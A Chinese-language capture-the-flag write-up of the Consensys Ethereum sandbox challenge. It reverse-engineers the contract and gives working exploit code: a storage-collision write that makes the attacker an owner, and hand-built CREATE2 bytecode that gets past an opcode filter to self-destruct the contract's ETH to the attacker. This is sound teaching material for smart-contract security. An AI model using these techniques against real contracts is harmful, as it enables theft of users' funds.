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基于 samczsun 的解析文章学习
分析原文：
本文都是基于 https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析，如有需要可以参考原文。
问题描述：
Consensys 在如下地址
0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a
部署了一个合约，合约名称叫做以太坊沙盒，其没有公开源代码，要求黑客们攻破该沙盒，拿出该合约中的所有 ETH。
问题分析：
由于拿到的只是二进制代码，需要我们进行逆向得到 solidity 源码。故第一步是借助工具，将二进制代码翻译成可读的 opcode 代码和 solidity 代码。这里我们使用 https://contract-library.com/ 网站帮助分析。
源码分析
将对应的地址传入该网站后，我们可以看到其是一个典型的 solidity 源码反编译后的结构，首先是函数选择区（针对 public，external 函数）如下。一共有 4 个函数。
if (0x25e7c27 == function_selector) { owners(uint256); } else if (0x2918435f == function_selector) { 0x2918435f(); } else if (0x4214352d == function_selector) { 0x4214352d(); } else if (0x74e3fb3e == function_selector) { 0x74e3fb3e(); }
再看到其的全局变量，一共有两个，分别在 slot0 和 slot1 的位置处。可以看到这两个全局变量都是 uint256[] 数组。
uint256[] array_0; // STORAGE[0x0] uint256[]_owners; // STORAGE[0x1]
依次分析函数，找到我们感兴趣的部分，然后再深入调查该函数，看是否能够达到我们的目标——拿到该合约的所有 ETH。
首先是函数 1：0x4214352d
function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable { require(msg.data.length - 4 >= 64); assert(varg1 < array_0.length); array_0[varg1] = varg0; } // 翻译一下 function set_array(uint256_value, uint256_key) public { require(msg.data.length - 4 >= 64); assert(_key < array_0.length); array_0[_key] =_value; }
可以看到该函数主要是对 array_0 进行赋值，在赋值前检查了两项：
-
msg.data 的长度减去 4 之后要大于 64
-
msg.data = bytes4(函数签名) + bytes32(参数 1) + bytes32(参数 2)
-
减去 4 的原因是函数签名的长度为 4
-
-
要求 key 的值小于 array 的长度
再看函数 2：0x74e3fb3e
function 0x74e3fb3e(uint256 varg0) public nonPayable { require(msg.data.length - 4 >= 32); assert(varg0 < array_0.length); return array_0[varg0]; } => function get_array(uint256_key) public view returns (uint256) { require(msg.data.length - 4 >= 32); assert(_key < array_0.length); return array_0[_key]; }
与 set_array 函数类似
再看函数 3：owners
function owners(uint256 varg0) public nonPayable { require(msg.data.length - 4 >= 32); assert(varg0 <_owners.length); return address(_owners[varg0]); } => function owners(uint256_key) public view returns (address) { require(msg.data.length - 4 >= 32); assert(_key <_owners.length); return address(_owners[_key]); }
最后看函数 4：0x2918435f
function 0x2918435f(address varg0) public payable { require(msg.data.length - 4 >= 32); v0 = v1 = 0; v2 = v3 = 0; while (v2 <_owners.length) { assert(v2 <_owners.length); if (msg.sender == address(_owners[v2])) { v0 = v4 = 1; } v2 += 1; } require(v0); MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f); EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size); v5 = v6 = 0; while (v5 < varg0.code.size) { if (v5 < varg0.code.size) { break; } assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000); v5 += 1; } v7, v8 = varg0.delegatecall().gas(msg.gas); if (RETURNDATASIZE() != 0) { v9 = new bytes[](RETURNDATASIZE()); v8 = v9.data; RETURNDATACOPY(v8, 0, RETURNDATASIZE()); } require(v7); }
可以看到函数 4
0x2918435f
比较复杂，简单分析函数 4 中有三层 require：
-
要求调用该函数的 msg.data 的长度，
require(msg.data.length - 4 >= 32);与之前的函数中类似 -
要求 msg.sender 是_owners 中的一员，通过一个 while 循环来循环检查所有的 Onwer 中成员，看是否满足 msg.sender==owner
``` v0 = v1 = 0;
v2 = v3 = 0;
while (v2 <_owners.length) {
assert(v2 <_owners.length);
if (msg.sender == address(_owners[v2])) {
v0 = v4 = 1;
}
v2 += 1;
}
require(v0);
=> 翻译一下：
bool permit = false;
uint256 i = 0;
while (i <_owners.length) {
assert(i <_owners.length);
if (msg.sender == address(_owners[i])) {
permit = true;
}
i += 1;
}
require(permit);
3. 要求作为传入参数的地址 addr，逐字节检查该参数地址对应的代码，要求其中不含有 0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff 等字节。在黄皮书中这几个字节对应的分别是：create，call，callcode, delegatecall, staticcall, selfdestruct.这部分对应的代码比较复杂，我们将对比 opcode，逐字翻译``` MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f); EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
首先我们看黄皮书中关于 EXTCODECOPY 中的定义：
可以看到 EXTCODECOPY，拿 4 个参数，返回 0 个参数。简单解释是将栈里第 0 个元素-合约地址对应的代码段，设置偏移量为栈中第 2 个元素的值，拷贝的长度为栈里第 3 个元素对应的值，拷贝到的目的地为内存中栈里第 1 个元素对应的值的位置。
故
``` MEM[64] = MEM[64] + (addr.code.size + 32 + 31 & ~0x1f)
EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
=>
EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size)
=>
bytes memory code;
uint256 size;
assembly {
code := mload(0x40) //0x40=64, code=0x80
size := extcodesize(addr)
mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) // 新的自由内存指针
mstore(code, size) // 在 0x80 地方存储 codesize
extcodecopy(addr,add(code, 0x20),0,addr.code.size) // 把 extcode 全部拷贝到内存 0xa0 处
}
在看 while 循环：``` v5 = v6 = 0; while (v5 < varg0.code.size) { if (v5 < varg0.code.size) { break; } assert(v5 < varg0.code.size); => uint256 i = 0; while (i < addr.code.size) { assert(i < addr.code.size) } require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000); => ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000 MEM[0x40] = 0x80 0x80 处存储的是 code 的 size，长度为 0x20；具体的代码从 0x80+0x20 处开始存储。 MEM[0x20 + 0x80 + i] 实际读取的是 MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这 32 位字节向右移动 248bit，再向左移动 248bit，即去掉最右侧 248bit, 再和 0x110000... 取 AND，最后得到的结果与 0xf0... 对比。 实际效果是每一位都对比，不能等于 0xf0,0xf1,0xf2 等 => for (uint256 i=0; i < code.length; i++) { require(code[i] != 0xf0);//Create require(code[i] != 0xf1);//CALL require(code[i] != 0xf2);//CALLCODE require(code[i] != 0xf4);//DELEGATECALL require(code[i] != 0xfa);//STATICCALL require(code[i] != 0xff);//SELEFDESTRUCT }
问题分析-1
简单看，我们需要调用函数 4，
0x2918435f
因为其含有 delegatecall, 可以执行我们想要的代码来获取该合约所有的 ETH。
但是其要满足三个条件，尤其是第二个条件限制了 msg.sender 必须是 owner 数组中的一员。故我们需要先把 msg.sender 放到 owner 数组中。但是给定的函数中，并没有直接设置 owner 数组的，唯有一个设置 array 数组的函数：set_array(_key,_value). 故需要思考，能否通过 set_array 函数来改变 owner 数组中的值。
这里需要一个背景知识，即数组是如何再 solidity 中存储的。
在 solidity 中，动态数组在 storage 中存储模式为：
-
动态数组声明处的 slot_A 存储的是该动态数组的长度
-
动态数组中的每一个元素存储的位置是 keccak256(slot_A)+i, 即动态数组事实上还是连续储存，但其第一个元素存储的位置是 keccak256(slot_A)
故在本题目中，由于 array 的长度被设置为 uint(-1), 故可以通过计算 array[0] 和 owner[0] 对应的 storage key 的差值，来通过 set_array 方法设置 owner 中的值。
# make alice the owner # array.length == uint(-1) # array slot = 0, key0 = keccak256(0x00..00) # array owner slot = 1, key1 = keccak256(0x00..01) # delta = key1 - key0 # 通过设置 array 的偏移来设置 owner 中的值 # offset 的值为 delta key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16) key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16) delta = key1 - key0 ctf.setArray(alice.address,delta, {'from':alice})
也可以部署一个 hacker.sol 来实现该目的
contract Hacker { address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A; function step1() public { bytes32 key0 = keccak256(abi.encode(0x00)); bytes32 key1 = keccak256(abi.encode(0x01)); uint256 delta = uint256(key1) - uint256(key0); (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta)); require(success); } }
问题分析-2
现在我们需要满足第三个条件，即构造一个合约，该合约对应的 runtime code 中不含有 0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff 等字节，因此需要我们手动来写合约，然后通过该 sandbox 的第四个函数来 delegatecall 该合约，从而清空 sandbox 中的 ETH。
首先明确我们使用 create2， 其为 0xf5, 我们可以首先看下黄皮书中关于 create2 的定义
简单来说是先计算出要创建的合约的地址，然后执行要创建的合约的初始化代码，再将该初始化代码与要创建的合约地址进行关联。
故我们需要一个合约，他的 runtime code 中执行一个 create2 函数，创建一个临时合约，并将上下文环境中的 address(this) 里的全部 ETH 都作为赠品赠与该临时合约，该临时合约的初始化代码中应该执行 selfdestruct(tx.orgin) 函数来将所有的 ETH 转移给合约部署人。
先用 opcode 来写 runtime code：
//tx.origin 这里的 ORIGIN 是 payload，不应该被执行，故需要改为 push1 0x32 //SELFDESTRUCT // 构造 payload, 因为 SELFDESTRUCT 是 0xff，不能被使用，故可以通过 ADD 来绕道实现 push2 0x32fe // 0x32fe push1 0x01 // 0x32fe 0x01 ADD // 0x32ff push1 0x40 //0x32ff 0x40 mstore // 构造 payload 0x40 -> 0x32ff， push1 00//Us[3] -> salt 盐 push1 0x04//Us[2] -> length 长度 4 push1 0x3e//us[1] -> offset 偏移值 -> 内存中 0x40+0x20-0x2=0x3e ADDRESS BALANCE //Us[0] -> ETH 数量-> 应该是该 address(this) 的所有 ETH create2 => 6132fe60010160405260006004603e3031f5
在写该合约的初始化代码，可以用 solidity 写了，因为是我自己执行来部署该 runtime code
contract HackCTF{ constructor() public payable{ assembly{ mstore(0x00, 0x6132fe60010160405260006004603e3031f5) return(0x0e, 0x12) } } }
然后部署 HackCTF 合约，在调用 ctf 中的第四个函数，将该合约的地址作为参数传进去即可
hacker = HackCTF.deploy({"from":alice}) ctf.hack(hacker, {'from':alice}) print(alice.balance())
